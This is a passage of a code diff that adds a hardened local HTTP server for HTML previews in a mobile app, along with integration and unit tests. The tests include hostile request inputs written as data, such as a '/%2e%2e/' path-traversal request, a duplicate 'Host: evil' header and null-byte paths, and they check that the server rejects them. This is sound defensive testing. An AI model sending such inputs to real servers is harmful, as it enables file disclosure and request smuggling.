+ AsyncFunction("startOnDemand") { (root: String, entry: String, token: String, csp: String, promise: Promise) in
+ do {
+ guard self.foreground, self.servers.count < 4, self.servers[token] == nil,
+ let cache = FileManager.default.urls(for: .cachesDirectory, in: .userDomainMask).first,
+ URL(fileURLWithPath: root).resolvingSymlinksInPath().path.hasPrefix(cache.resolvingSymlinksInPath().path + "/")
+ else { throw HtmlSnapshotServer.Failure.invalid }
+ let server = try HtmlSnapshotServer(root: root, entry: entry, token: token, csp: csp, files: [], queue: self.queue,
+ onRequest: { [weak self] id, path in self?.sendEvent("resourceRequest", ["token": token, "id": id, "path": path]) },
+ onClose: { [weak self] id in self?.sendEvent("resourceClosed", ["token": token, "id": id]) })
+ self.servers[token] = server
+ server.start { result in
+ switch result {
+ case .success(let url): promise.resolve(url)
+ case .failure:
+ self.servers.removeValue(forKey: token)?.stop()
+ promise.reject("HTML_PREVIEW_START_FAILED", "Unable to start HTML preview")
+ }
+ }
+ } catch { promise.reject("HTML_PREVIEW_START_FAILED", "Unable to start HTML preview") }
+ }.runOnQueue(queue)
+ AsyncFunction("resolveRequest") { (token: String, id: String, filename: String, mime: String, status: Int) -> Bool in
+ self.servers[token]?.resolve(id, filename: filename, mime: mime, status: status) ?? false
+ }.runOnQueue(queue)
+ AsyncFunction("stop") { (token: String) in self.servers.removeValue(forKey: token)?.stop() }.runOnQueue(queue)
+ OnAppEntersBackground { self.queue.async { self.foreground = false; self.stopAll() } }
+ OnAppEntersForeground { self.queue.async { self.foreground = true } }
+ OnDestroy { self.queue.async { self.stopAll() } }
+ }
+
+ private func stopAll() {
+ let active = Array(servers.values)
+ servers.removeAll()
+ active.forEach { $0.stop() }
+ }
+}
diff --git a/apps/mobile/modules/cindy-html-preview/ios/HtmlSnapshotServer.swift b/apps/mobile/modules/cindy-html-preview/ios/HtmlSnapshotServer.swift
new file mode 100644
index 0000000000..99e4f69f24
--- /dev/null
+++ b/apps/mobile/modules/cindy-html-preview/ios/HtmlSnapshotServer.swift
@@ -0,0 +1,220 @@
+import Foundation
+import Network
+
+/// Intentionally HTTP/1 GET/HEAD only: one bounded request per connection, no uploads or listing.
+/// Resources come from the legacy manifest or an on-demand callback on the supplied serial queue.
+final class HtmlSnapshotServer {
+ enum Failure: Error { case invalid, stopped }
+ private let listener: NWListener
+ private let queue: DispatchQueue
+ private let root: URL
+ private let entry: String
+ private let token: String
+ private let csp: String
+ private let onRequest: ((String, String) -> Void)?
+ private let onClose: ((String) -> Void)?
+ private var requests: [UUID: Bool] = [:]
+ private var ownedFiles: [UUID: URL] = [:]
+ private var assets: [String: (URL, String)] = [:]
+ private var clients: [UUID: NWConnection] = [:]
+ private var clientTimeouts: [UUID: DispatchWorkItem] = [:]
+ private var completion: ((Result<String, Error>) -> Void)?
+ private var stopped = false
+ private var origin: String { "http://127.0.0.1:\(listener.port?.rawValue ?? 0)" }
+
+ init(root: String, entry: String, token: String, csp: String, files: [[String]], queue: DispatchQueue, onRequest: ((String, String) -> Void)? = nil, onClose: ((String) -> Void)? = nil) throws {
+ guard token.range(of: "^[a-f0-9]{48}$", options: .regularExpression) != nil,
+ !csp.contains("\r"), !csp.contains("\n") else { throw Failure.invalid }
+ self.onRequest = onRequest
+ self.onClose = onClose
+ self.queue = queue
+ self.root = URL(fileURLWithPath: root).resolvingSymlinksInPath()
+ self.entry = entry
+ self.token = token
+ self.csp = csp
+ for file in files {
+ guard file.count == 3, file[1].range(of: "^[0-9]+$", options: .regularExpression) != nil,
+ file[2].range(of: "^[a-z]+/[a-z0-9.+-]+$", options: .regularExpression) != nil,
+ !file[0].split(separator: "/", omittingEmptySubsequences: false).contains(where: { $0.isEmpty || $0.hasPrefix(".") }),
+ !file[0].contains("\\"), !file[0].contains("\0"), assets["/" + file[0]] == nil
+ else { throw Failure.invalid }
+ let url = self.root.appendingPathComponent(file[1])
+ let values = try url.resourceValues(forKeys: [.isRegularFileKey, .isSymbolicLinkKey])
+ guard values.isRegularFile == true, values.isSymbolicLink != true else { throw Failure.invalid }
+ assets["/" + file[0]] = (url, file[2])
+ }
+ guard (onRequest != nil && validPreviewPath(entry)) || assets["/" + entry]?.1 == "text/html" else { throw Failure.invalid }
+ let params = NWParameters.tcp
+ params.requiredLocalEndpoint = .hostPort(host: .ipv4(.loopback), port: .any)
+ listener = try NWListener(using: params)
+ }
+
+ func start(_ completion: @escaping (Result<String, Error>) -> Void) {
+ self.completion = completion
+ listener.stateUpdateHandler = { [weak self] state in
+ guard let self else { return }
+ switch state {
+ case .ready: self.finish(.success(self.origin + "/__cindy/" + self.token))
+ case .failed(let error): self.finish(.failure(error)); self.stop()
+ case .cancelled: self.finish(.failure(Failure.stopped))
+ default: break
+ }
+ }
+ listener.newConnectionHandler = { [weak self] connection in self?.accept(connection) }
+ listener.start(queue: queue)
+ queue.asyncAfter(deadline: .now() + 10) { [weak self] in
+ if self?.completion != nil { self?.finish(.failure(Failure.stopped)); self?.stop() }
+ }
+ }
+
+ private func finish(_ result: Result<String, Error>) {
+ let callback = completion
+ completion = nil
+ callback?(result)
+ }
+
+ func stop() {
+ guard !stopped else { return }
+ stopped = true
+ listener.cancel()
+ Array(clients.keys).forEach { close($0) }
+ finish(.failure(Failure.stopped))
+ }
+
+ private func accept(_ connection: NWConnection) {
+ guard !stopped, clients.count < 16 else { connection.cancel(); return }
+ let id = UUID()
+ clients[id] = connection
+ connection.start(queue: queue)
+ // Bound slow headers, remote resource preparation and stalled response readers.
+ let timeout = DispatchWorkItem { [weak self] in self?.close(id) }
+ clientTimeouts[id] = timeout
+ queue.asyncAfter(deadline: .now() + (onRequest == nil ? 15 : 7200), execute: timeout)
+ receive(id, Data())
+ }
+
+ private func close(_ id: UUID) {
+ clientTimeouts.removeValue(forKey: id)?.cancel()
+ clients.removeValue(forKey: id)?.cancel()
+ if requests.removeValue(forKey: id) != nil { onClose?(id.uuidString) }
+ if let file = ownedFiles.removeValue(forKey: id), onRequest == nil {
+ try? FileManager.default.removeItem(at: file)
+ }
+ }
+
+ func resolve(_ requestId: String, filename: String, mime: String, status: Int) -> Bool {
+ guard let id = UUID(uuidString: requestId), let headOnly = requests[id], clients[id] != nil, ownedFiles[id] == nil, !stopped else { return false }
+ if status != 200 { send(id, status: status == 404 ? 404 : 502); return false }
+ guard filename.range(of: "^[0-9]+$", options: .regularExpression) != nil,
+ mime.range(of: "^[a-z]+/[a-z0-9.+-]+$", options: .regularExpression) != nil else { send(id, status: 502); return false }
+ let url = root.appendingPathComponent(filename)
+ ownedFiles[id] = url
+ serve(id, url, mime, headOnly)
+ return true
+ }
+
+ private func receive(_ id: UUID, _ previous: Data) {
+ clients[id]?.receive(minimumIncompleteLength: 1, maximumLength: 4096) { [weak self] data, _, ended, error in
+ guard let self, self.clients[id] != nil else { return }
+ var bytes = previous
+ if let data { bytes.append(data) }
+ guard bytes.count <= 16384, error == nil else { self.close(id); return }
+ if let end = bytes.range(of: Data("\r\n\r\n".utf8)) {
+ self.respond(id, String(data: bytes[..<end.lowerBound], encoding: .utf8) ?? "")
+ } else if ended { self.close(id) } else { self.receive(id, bytes) }
+ }
+ }
+
+ private func respond(_ id: UUID, _ request: String) {
+ let lines = request.components(separatedBy: "\r\n")
+ let first = (lines.first ?? "").components(separatedBy: " ")
+ guard first.count == 3, ["GET", "HEAD"].contains(first[0]),
+ ["HTTP/1.0", "HTTP/1.1"].contains(first[2]), first[1].hasPrefix("/"), !first[1].hasPrefix("//")
+ else { send(id, status: 400); return }
+ var headers: [String: String] = [:]
+ for line in lines.dropFirst() {
+ guard let colon = line.firstIndex(of: ":") else { send(id, status: 400); return }
+ let key = String(line[..<colon]).lowercased()
+ guard !key.isEmpty, key.trimmingCharacters(in: .whitespaces) == key, headers[key] == nil else { send(id, status: 400); return }
+ headers[key] = String(line[line.index(after: colon)...]).trimmingCharacters(in: .whitespaces)
+ }
+ guard headers["host"] == String(origin.dropFirst(7)),
+ headers["origin"] == nil || headers["origin"] == origin,
+ headers["sec-fetch-site"] != "cross-site",
+ headers["referer"] == nil || headers["referer"]!.hasPrefix(origin + "/"),
+ headers["transfer-encoding"] == nil, headers["content-length"] == nil || headers["content-length"] == "0"
+ else { send(id, status: 403); return }
+ let rawPath = first[1].components(separatedBy: "?")[0]
+ if rawPath == "/__cindy/" + token {
+ let unreserved = CharacterSet(charactersIn: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-._~")
+ let escaped = entry.split(separator: "/").map { String($0).addingPercentEncoding(withAllowedCharacters: unreserved)! }.joined(separator: "/")
+ send(id, status: 302, extra: "Set-Cookie: cindy_\(token)=\(token); HttpOnly; SameSite=Strict; Path=/\r\nLocation: /\(escaped)\r\n")
+ return
+ }
+ guard headers["cookie"]?.components(separatedBy: ";").map({ $0.trimmingCharacters(in: .whitespaces) }).contains("cindy_\(token)=\(token)") == true,
+ var path = rawPath.removingPercentEncoding, !path.contains("\\"), !path.contains("\0"),
+ !path.split(separator: "/").contains(where: { $0 == "." || $0 == ".." })
+ else { send(id, status: 403); return }
+ if path.hasSuffix("/") { path += "index.html" }
+ if let onRequest {
+ let relative = String(path.dropFirst())
+ guard validPreviewPath(relative) else { send(id, status: 404); return }
+ requests[id] = first[0] == "HEAD"
+ onRequest(id.uuidString, relative)
+ watchDisconnect(id)
+ return
+ }
+ guard let (url, mime) = assets[path] else { send(id, status: 404); return }
+ serve(id, url, mime, first[0] == "HEAD")
+ }
+
+ /// Keep an outstanding read after handing the resource to the async owner.
+ /// WebView cancellation closes the socket while the owner may still be waiting;
+ /// closing the request immediately lets the owner release its shared transfer.
+ private func watchDisconnect(_ id: UUID) {
+ clients[id]?.receive(minimumIncompleteLength: 1, maximumLength: 4096) { [weak self] _, _, ended, error in
+ guard let self, self.clients[id] != nil else { return }
+ if ended || error != nil { self.close(id) }
+ else { self.watchDisconnect(id) }
+ }
+ }
+
+ private func serve(_ id: UUID, _ url: URL, _ mime: String, _ headOnly: Bool) {
+ guard
+ let values = try? url.resourceValues(forKeys: [.isRegularFileKey, .isSymbolicLinkKey, .fileSizeKey]),
+ values.isRegularFile == true, values.isSymbolicLink != true, let size = values.fileSize,
+ let file = try? FileHandle(forReadingFrom: url)
+ else { send(id, status: 404); return }
+ // HTML was decoded and guarded before publication, and is now always UTF-8.
+ let contentType = mime == "text/html" ? "text/html; charset=utf-8" : mime
+ let head = responseHead(200, length: size, extra: "Content-Type: \(contentType)\r\n")
+ clients[id]?.send(content: Data(head.utf8), completion: .contentProcessed { [weak self] error in
+ guard let self else { try? file.close(); return }
+ if error != nil || headOnly { try? file.close(); self.close(id) }
+ else { self.stream(id, file) }
+ })
+ }
+
+ private func responseHead(_ status: Int, length: Int = 0, extra: String = "") -> String {
+ "HTTP/1.1 \(status) \(status == 200 ? "OK" : status == 302 ? "Found" : "Error")\r\nConnection: close\r\nContent-Length: \(length)\r\nCache-Control: no-store\r\nX-Content-Type-Options: nosniff\r\nContent-Security-Policy: \(csp)\r\nPermissions-Policy: camera=(), microphone=(), geolocation=()\r\nReferrer-Policy: no-referrer\r\n\(extra)\r\n"
+ }
+
+ private func send(_ id: UUID, status: Int, extra: String = "") {
+ clients[id]?.send(content: Data(responseHead(status, extra: extra).utf8), completion: .contentProcessed { [weak self] _ in self?.close(id) })
+ }
+
+ private func stream(_ id: UUID, _ file: FileHandle) {
+ guard let connection = clients[id], let data = try? file.read(upToCount: 65536), !data.isEmpty else {
+ try? file.close(); close(id); return
+ }
+ connection.send(content: data, completion: .contentProcessed { [weak self] error in
+ guard let self, error == nil else { try? file.close(); self?.close(id); return }
+ self.stream(id, file)
+ })
+ }
+}
+
+private func validPreviewPath(_ path: String) -> Bool {
+ !path.isEmpty && !path.contains("\\") && !path.contains(":") && !path.contains("\0") &&
+ !path.split(separator: "/", omittingEmptySubsequences: false).contains { $0.isEmpty || $0.hasPrefix(".") }
+}
diff --git a/apps/mobile/modules/cindy-html-preview/src/CindyHtmlPreviewModule.ts b/apps/mobile/modules/cindy-html-preview/src/CindyHtmlPreviewModule.ts
new file mode 100644
index 0000000000..58097e7258
--- /dev/null
+++ b/apps/mobile/modules/cindy-html-preview/src/CindyHtmlPreviewModule.ts
@@ -0,0 +1,11 @@
+import { requireOptionalNativeModule } from 'expo-modules-core';
+
+interface CindyHtmlPreviewModule {
+ start(root: string, entry: string, token: string, csp: string, files: string[][]): Promise<string>;
+ startOnDemand?(root: string, entry: string, token: string, csp: string): Promise<string>;
+ resolveRequest?(token: string, id: string, filename: string, mime: string, status: number): Promise<boolean>;
+ addListener(event: 'resourceRequest' | 'resourceClosed', listener: (event: { token: string; id: string; path?: string }) => void): { remove(): void };
+ stop(token: string): Promise<void>;
+}
+// An older installed binary can still open source view without crashing at import.
+export default requireOptionalNativeModule<CindyHtmlPreviewModule>('CindyHtmlPreview');
diff --git a/apps/mobile/scripts/test-html-preview-native.mjs b/apps/mobile/scripts/test-html-preview-native.mjs
new file mode 100644
index 0000000000..c6e29c0b4a
--- /dev/null
+++ b/apps/mobile/scripts/test-html-preview-native.mjs
@@ -0,0 +1,111 @@
+// macOS native integration: compiles the production Network listener, drives real TCP/HTTP,
+// and deletes every fixture/process. Does not require an installed mobile app or account.
+import assert from 'node:assert/strict';
+import { spawn, execFileSync } from 'node:child_process';
+import { mkdtemp, writeFile, rm } from 'node:fs/promises';
+import { tmpdir } from 'node:os';
+import { join } from 'node:path';
+import { fileURLToPath } from 'node:url';
+import net from 'node:net';
+
+if (process.platform !== 'darwin') throw new Error('This test requires Apple Network.framework on macOS');
+const dir = await mkdtemp(join(tmpdir(), 'cindy-html-native-test-'));
+let child;
+const demand = process.argv.includes('--on-demand');
+try {
+ await writeFile(join(dir, '0'), '<!doctype html><meta charset="utf-8"><h1>中文</h1>');
+ await writeFile(join(dir, '1'), 'body { color: green; }');
+ await writeFile(join(dir, '2'), '<h1>Second page</h1>');
+ await writeFile(join(dir, 'main.swift'), `import Foundation
+import Network
+let queue = DispatchQueue(label: "test")
+let files = [["index.html", "0", "text/html"], ["dist/main.css", "1", "text/css"], ["second.html", "2", "text/html"]]
+var server: HtmlSnapshotServer!
+var sequence = 100
+server = try HtmlSnapshotServer(root: CommandLine.arguments[1], entry: "index.html", token: String(repeating: "a", count: 48), csp: "default-src 'none'; style-src 'self'", files: ${demand ? '[]' : 'files'}, queue: queue${demand ? `, onRequest: { id, path in
+ guard let row = files.first(where: { $0[0] == path }) else {
+ _ = server.resolve(id, filename: "", mime: "", status: 404)
+ return
+ }
+ let filename = String(sequence)
+ sequence += 1
+ let root = URL(fileURLWithPath: CommandLine.arguments[1])
+ try! FileManager.default.copyItem(at: root.appendingPathComponent(row[1]), to: root.appendingPathComponent(filename))
+ queue.asyncAfter(deadline: .now() + 0.01) {
+ assert(server.resolve(id, filename: filename, mime: row[2], status: 200))
+ assert(!server.resolve(id, filename: filename, mime: row[2], status: 200))
+ }
+}` : ''})
+server.start { result in
+ switch result {
+ case .success(let url): print(url); fflush(stdout)
+ case .failure(let error): print(error); exit(1)
+ }
+}
+signal(SIGTERM, SIG_IGN)
+let termination = DispatchSource.makeSignalSource(signal: SIGTERM, queue: queue)
+termination.setEventHandler { server.stop(); exit(0) }
+termination.resume()
+dispatchMain()
+`);
+ execFileSync('xcrun', ['swiftc', fileURLToPath(new URL('../modules/cindy-html-preview/ios/HtmlSnapshotServer.swift', import.meta.url)), join(dir, 'main.swift'), '-o', join(dir, 'server')], { timeout: 60_000 });
+ child = spawn(join(dir, 'server'), [dir], { stdio: ['ignore', 'pipe', 'inherit'] });
+ const url = await new Promise((resolve, reject) => {
+ const timer = setTimeout(() => reject(new Error('Native listener did not start')), 10_000);
+ child.once('exit', (code) => { clearTimeout(timer); reject(new Error(`Listener exited ${code}`)); });
+ child.stdout.once('data', (data) => { clearTimeout(timer); resolve(data.toString().trim()); });
+ });
+ const initial = new URL(url);
+ const origin = initial.origin;
+ const assertPermissions = (response) => assert.equal(
+ response.headers.get('permissions-policy'),
+ 'camera=(), microphone=(), geolocation=()',
+ );
+ const bootstrap = await fetch(url, { redirect: 'manual' });
+ assertPermissions(bootstrap);
+ assert.equal(bootstrap.status, 302);
+ assert.equal(bootstrap.headers.get('location'), '/index.html');
+ const cookie = bootstrap.headers.get('set-cookie').split(';')[0];
+ assert.match(bootstrap.headers.get('set-cookie'), /HttpOnly; SameSite=Strict/);
+ assert.equal((await fetch(origin + '/index.html')).status, 403);
+ const page = await fetch(origin + '/index.html', { headers: { cookie } });
+ assertPermissions(page);
+ assert.match(await page.text(), /中文/);
+ assert.match(page.headers.get('content-type'), /charset=utf-8/);
+ assert.equal(page.headers.get('cache-control'), 'no-store');
+ const css = await fetch(origin + '/dist/main.css', { headers: { cookie } });
+ assert.equal(css.headers.get('content-type'), 'text/css');
+ assert.match(await css.text(), /green/);
+ assert.equal((await fetch(origin + '/second.html', { headers: { cookie } })).status, 200);
+ assert.equal((await fetch(origin + '/', { headers: { cookie } })).status, 200);
+ const head = await fetch(origin + '/index.html', { method: 'HEAD', headers: { cookie } });
+ assertPermissions(head);
+ assertPermissions(await fetch(origin + '/index.html'));
+ assertPermissions(await fetch(origin + '/missing.html', { headers: { cookie } }));
+ assert.equal(head.status, 200);
+ assert.equal(await head.text(), '');
+ assert.ok(Number(head.headers.get('content-length')) > 0);
+ assert.equal((await fetch(origin + '/0', { headers: { cookie } })).status, 404);
+ assert.equal((await fetch(origin + '/index.html', { headers: { cookie, Origin: 'https://example.org' } })).status, 403);
+ assert.equal((await fetch(origin + '/index.html', { method: 'POST', headers: { cookie } })).status, 400);
+ const raw = (parts) => new Promise((resolve, reject) => {
+ const client = net.connect(Number(initial.port), '127.0.0.1');
+ let response = '';
+ client.setTimeout(3000, () => client.destroy(new Error('TCP timeout')));
+ client.on('error', reject);
+ client.on('data', (chunk) => { response += chunk.toString(); });
+ client.on('end', () => resolve(response));
+ client.once('connect', () => { client.write(parts[0]); setTimeout(() => client.write(parts.slice(1).join('')), 20); });
+ });
+ assert.match(await raw(['GET /index.html HTTP/1.1\r\nHo', `st: ${initial.host}\r\nCookie: ${cookie}\r\n\r\n`]), /^HTTP\/1.1 200/);
+ assert.match(await raw([`GET /index.html HTTP/1.1\r\nHost: ${initial.host}\r\n`, `Host: evil\r\nCookie: ${cookie}\r\n\r\n`]), /^HTTP\/1.1 400/);
+ assert.match(await raw([`GET /%2e%2e/index.html HTTP/1.1\r\nHost: ${initial.host}\r\n`, `Cookie: ${cookie}\r\n\r\n`]), /^HTTP\/1.1 403/);
+ assert.equal((await fetch(origin + '/missing.js', { headers: { cookie } })).status, 404);
+ assert.equal((await fetch(origin + '/index.html', { headers: { cookie } })).status, 200);
+ await new Promise((resolve) => { child.once('exit', resolve); child.kill('SIGTERM'); });
+ await assert.rejects(fetch(origin + '/index.html', { headers: { cookie } }));
+ console.log((demand ? 'ON-DEMAND ' : 'LEGACY ') + 'PASS: native loopback listener, bootstrap/cookie, HTML/CSS/navigation, HEAD, manifest isolation, foreign origin, malformed/split headers, traversal and shutdown');
+} finally {
+ if (child && child.exitCode === null) child.kill('SIGKILL');
+ await rm(dir, { recursive: true, force: true });
+}
diff --git a/apps/mobile/src/__tests__/chatPathCandidate.test.ts b/apps/mobile/src/__tests__/chatPathCandidate.test.ts
index 0eccef320f..ac55e6e57b 100644
--- a/apps/mobile/src/__tests__/chatPathCandidate.test.ts
+++ b/apps/mobile/src/__tests__/chatPathCandidate.test.ts
@@ -18,6 +18,21 @@ import {
toWorkdirRel,
} from '@/session/chatPathCandidate';
+describe('remote xdt-file links', () => {
+ it.each([
+ ['xdt-file:///tmp/site/index.html', '/tmp/site/index.html'],
+ ['xdt-file:///tmp/%E4%B8%AD%E6%96%87%20a%23b.html', '/tmp/中文 a#b.html'],
+ ['xdt-file:///C:/site/index.html', 'C:/site/index.html'],
+ ['xdt-file://open?path=C%3A%5Csite%5Cindex.html', 'C:\\site\\index.html'],
+ ['xdt-file://open?path=%2Ftmp%2Fpage.html', '/tmp/page.html'],
+ ])('resolves %s to its actual remote path', (url, href) => {
+ expect(classifyChatPathLinkTarget(url)?.href).toBe(href);
+ });
+ it.each(['xdt-file://open?path=relative.html', 'xdt-file:///tmp/%QQ.html', 'xdt-file://open?path=%00', 'xdt-file://other/index.html'])('rejects malformed or relative target %s', (url) => {
+ expect(classifyChatPathLinkTarget(url)).toBeNull();
+ });
+});
+
describe('splitChatPathLineSuffix', () => {
it('拆 path:line 与 path:line:column', () => {
expect(splitChatPathLineSuffix('src/App.tsx:42')).toEqual({ href: 'src/App.tsx', line: 42 });
diff --git a/apps/mobile/src/__tests__/fileAccessCache.test.ts b/apps/mobile/src/__tests__/fileAccessCache.test.ts
new file mode 100644
index 0000000000..fa1398c22a
--- /dev/null
+++ b/apps/mobile/src/__tests__/fileAccessCache.test.ts
@@ -0,0 +1,62 @@
+import { describe, expect, it, vi } from "vitest";
+vi.mock("@react-native-async-storage/async-storage", () => ({
+ default: {
+ getItem: vi.fn(async () => null),
+ setItem: vi.fn(async () => {}),
+ multiRemove: vi.fn(async () => {}),
+ },
+}));
+import {
+ getCachedListingSync,
+ storeCachedListing,
+ getCachedPreviewText,
+ storeCachedPreviewText,
+ loadAllFilesIndex,
+} from "@/session/fileBrowserCache";
+import type { MobileMakerTransport } from "@/device-link/mobileMakerTransport";
+describe("file cache identity", () => {
+ it("isolates identical paths and timestamps by account and device", () => {
+ const entries = [
+ { name: "a", relPath: "a", type: "file" as const, size: 1, mtimeMs: 1 },
+ ];
+ storeCachedListing("account-a/device-a", "/same", "", entries);
+ expect(getCachedListingSync("account-a/device-a", "/same", "")).toEqual(
+ entries,
+ );
+ expect(getCachedListingSync("account-a/device-b", "/same", "")).toBeNull();
+ expect(getCachedListingSync("account-b/device-a", "/same", "")).toBeNull();
+ storeCachedPreviewText("account-a/device-a", "/same", "a", 1, {
+ lines: ["private"],
+ totalLines: 1,
+ truncated: false,
+ });
+ expect(
+ getCachedPreviewText("account-a/device-b", "/same", "a", 1),
+ ).toBeNull();
+ expect(
+ getCachedPreviewText("account-b/device-a", "/same", "a", 1),
+ ).toBeNull();
+ });
+ it("does not coalesce indexes on different devices and preserves the real RPC path", async () => {
+ const make = (scope: string) => ({
+ fileBrowser: {
+ cacheScope: scope,
+ listAllFiles: vi.fn(async () => ({ files: [scope] })),
+ },
+ });
+ const a = make("a"),
+ b = make("b");
+ const results = await Promise.all(
+ [a, b].map((maker) =>
+ loadAllFilesIndex(
+ maker as unknown as MobileMakerTransport,
+ "/real",
+ 10,
+ ),
+ ),
+ );
+ expect(results).toEqual([["a"], ["b"]]);
+ expect(a.fileBrowser.listAllFiles).toHaveBeenCalledWith("/real", 10);
+ expect(b.fileBrowser.listAllFiles).toHaveBeenCalledWith("/real", 10);
+ });
+});
diff --git a/apps/mobile/src/__tests__/fileBrowserExportStreaming.test.ts b/apps/mobile/src/__tests__/fileBrowserExportStreaming.test.ts
new file mode 100644
index 0000000000..222eeef76f
--- /dev/null
+++ b/apps/mobile/src/__tests__/fileBrowserExportStreaming.test.ts
@@ -0,0 +1,39 @@
+import { describe, expect, it, vi } from 'vitest';
+import { createMobileMakerTransport, type RemoteInvoke } from '@/device-link/mobileMakerTransport';
+import { exportRemoteFileToUrl } from '@/session/fileBrowserExport';
+import { clearPeerMedia, installPeerFileDownload, recordPeerMedia } from '@/device-link/peerFileRegistry';
+
+vi.mock('@react-native-async-storage/async-storage', () => ({ default: {} }));
+
+describe('file browser playback and download', () => {
+ it.each(['audio/mpeg', 'video/mp4', 'image/png', 'application/pdf', 'application/octet-stream'])('keeps %s previews off cached peer downloads in either order', async (mimeType) => {
+ for (const first of [false, true]) {
+ const direct = { ossKey: '', size: 70_000, mimeType };
+ const local = 'file:///preview-staging';
+ recordPeerMedia(direct, local, () => {});
+ const peer = vi.fn(async () => direct);
+ const uninstall = installPeerFileDownload(peer);
+ const invoke = vi.fn(async (_device, _channel, args) => {
+ if (args[0].op === 'caps') return { fileRead: true };
+ if (args[0].op === 'fileUrl') return { ok: true, url: 'xdt-file://open?path=/media' };
+ if (args[0].op === 'exportFileStart') return { ok: true, transferId: 'export', size: direct.size };
+ if (args[0].op === 'exportFileStatus') return { ok: true, state: 'done', key: 'stream/key' };
+ return { ...direct, transferRequired: true };
+ });
+ const deps = {
+ deviceId: `stream-${mimeType}-${first}`,
+ maker: createMobileMakerTransport({ deviceId: `stream-${mimeType}-${first}`, invoke: invoke as RemoteInvoke }),
+ openLink: vi.fn(async () => {}),
+ presignGet: vi.fn(async () => ({ getUrl: 'https://example.test/stream', expiresAt: new Date(Date.now() + 3_600_000).toISOString() })),
+ };
+ try {
+ for (const stream of [first, !first, first, !first]) {
+ expect(await exportRemoteFileToUrl({ ...deps, stream }, '/p', 'media', 1))
+ .toBe(stream ? 'https://example.test/stream' : local);
+ }
+ expect(peer).toHaveBeenCalledOnce();
+ expect(deps.presignGet).toHaveBeenCalledOnce();
+ } finally { uninstall(); clearPeerMedia(); }
+ }
+ });
+});
diff --git a/apps/mobile/src/__tests__/filePreviewPagerWiring.test.ts b/apps/mobile/src/__tests__/filePreviewPagerWiring.test.ts
index 67b0c392eb..6fb1588c04 100644
--- a/apps/mobile/src/__tests__/filePreviewPagerWiring.test.ts
+++ b/apps/mobile/src/__tests__/filePreviewPagerWiring.test.ts
@@ -43,7 +43,7 @@ describe('remote file preview pager wiring', () => {
// 只有真的挂着 WebView 的那种组合才要横滑(资源还在取 → 页面是 spinner → 不禁滑);
// cleanup 必须无条件归还。
expect(source).toContain("visible && richKind === 'html' && richView === 'rendered'");
- expect(source).toContain("state.status === 'ready' && !htmlResources.loading");
+ expect(source).toContain("htmlSnapshot.foreground && !!htmlSnapshot.preview && !htmlError");
expect(source).toContain('return () => onHtmlPanChange?.(item.key, false)');
});
@@ -123,7 +123,7 @@ describe('HTML 渲染态的 WebView 约束', () => {
// 断言避开跨行字面量:意图是「不可见时走占位、可见时才是 HtmlFileReader」,
// 与缩进、行尾都无关(见 readSource 的 CRLF 说明)。
expect(source).toContain('!visible ? (');
- expect(source).toContain('<HtmlFileReader html={htmlResources.html}');
+ expect(source).toContain('<HtmlSnapshotReader preview={htmlSnapshot.preview}');
expect(source).toContain('testID="filePreview.htmlOffscreen"');
// 挂载门必须是 visible 而不是 active。
expect(source).not.toMatch(/active\s*\?\s*\(\s*<HtmlFileReader/);
@@ -142,64 +142,34 @@ describe('HTML 渲染态的 WebView 约束', () => {
});
describe('HTML 生成物的渲染态接线', () => {
- it('文档正文复用已读文本,不为 HTML 另走一遍 OSS 两段式导出', () => {
- // 取件通道保持一条:richKind 非空时才留原文,渲染态用的就是它(经资源回填)。
+ it('rendered HTML uses a complete snapshot while source mode retains the text reader', () => {
expect(source).toContain('content: richKind ? content : undefined');
- expect(source).toContain('<HtmlFileReader html={htmlResources.html}');
- // HTML 不得混进 exportToUrl 那条(图片 / PDF / 音视频 / 下载共用的)导出链路。
- expect(source).not.toMatch(/HtmlFileReader[^>]*exportToUrl/);
+ expect(source).toContain('useHtmlSnapshot(');
+ expect(source).toContain('<HtmlSnapshotReader preview={htmlSnapshot.preview}');
+ expect(source).not.toContain('useHtmlLocalResources(');
});
- it('同目录资源走 media:fetch 绝对路径通道,不复用 exportToUrl', () => {
- // exportToUrl 只服务「当前这个文件」;资源要取的是页面引用的其它路径。
- expect(source).toContain('useHtmlLocalResources(htmlSource, htmlBaseDir, fetchResourceDataUri)');
- // 精确取回调体判定(不用邻近匹配:props 列表里两个名字相邻会误报)。
- const body = /const fetchResourceDataUri = useCallback\(([\s\S]*?)\n \);/.exec(source);
- expect(body, '未找到 fetchResourceDataUri 实现').not.toBeNull();
- // 一次性取件(带 ossKey、不进共享缓存),而不是只回 url 的那个。
- expect(body![1]).toContain('fetchRemoteAbsFileOnce(');
- expect(body![1]).toContain('downloadRemoteMediaAsDataUri(');
- // exportToUrl 只服务「当前这个文件」,资源要取的是页面引用的其它路径。
- expect(body![1]).not.toContain('exportToUrl');
+ it('failed snapshots show recovery without publishing a partially fetched page', () => {
+ expect(source).toContain('testID="filePreview.htmlError"');
+ expect(source).toContain("t('files.preview.htmlSnapshotTooLarge')");
+ expect(source).toContain('onPress: htmlSnapshot.retry');
+ expect(source).toContain('!htmlSnapshot.preview || !htmlSnapshot.foreground');
});
- it('资源被跳过 / 取不到时如实提示,不静默截断', () => {
- expect(source).toContain("t('files.preview.htmlResourcesMissing'");
- expect(source).toContain("t('files.preview.htmlResourcesTruncated'");
- expect(source).toContain('testID="filePreview.htmlResourceNotice"');
- });
-
- it('条数上限与总量预算分开提示(不谎报「已取回前 32 项」)', () => {
- // 只有条数上限才等于「前 32 项已取回」;总量预算可能在第 3 项就用尽,合并成一条
- // 会在后一种情况下报错数量(review P2)。hook 也必须分开两个计数,不能先合并。
- expect(source).toContain('htmlResources.overLimit > 0');
- expect(source).toContain("t('files.preview.htmlResourcesOverBudget', { count: htmlResources.overBudget })");
- expect(source).not.toContain('htmlResources.skipped');
- const hook = readSource('src/session/useHtmlLocalResources.ts');
- expect(hook).toContain('overLimit: plan.skipped');
- expect(hook).toContain('overBudget: outcome?.overBudget ?? 0');
- expect(hook).not.toMatch(/skipped:\s*plan\.skipped\s*\+/);
- });
-
- it('取件产出的每个 OSS 对象都回收,含 presign 失败与重试重复上传', () => {
- // presign 失败时 resolveMobileRemoteMedia 在返回前抛错 —— 只围绕 media.ossKey 写
- // finally 的话那个已上传对象永久遗留;重试还会产出不同的 key(review P1 第二轮)。
- expect(source).toContain('const uploadedKeys = new Set<string>()');
- expect(source).toContain('(ossKey) => uploadedKeys.add(ossKey)');
- expect(source).toContain('for (const ossKey of uploadedKeys) deleteResourceOssObject(ossKey)');
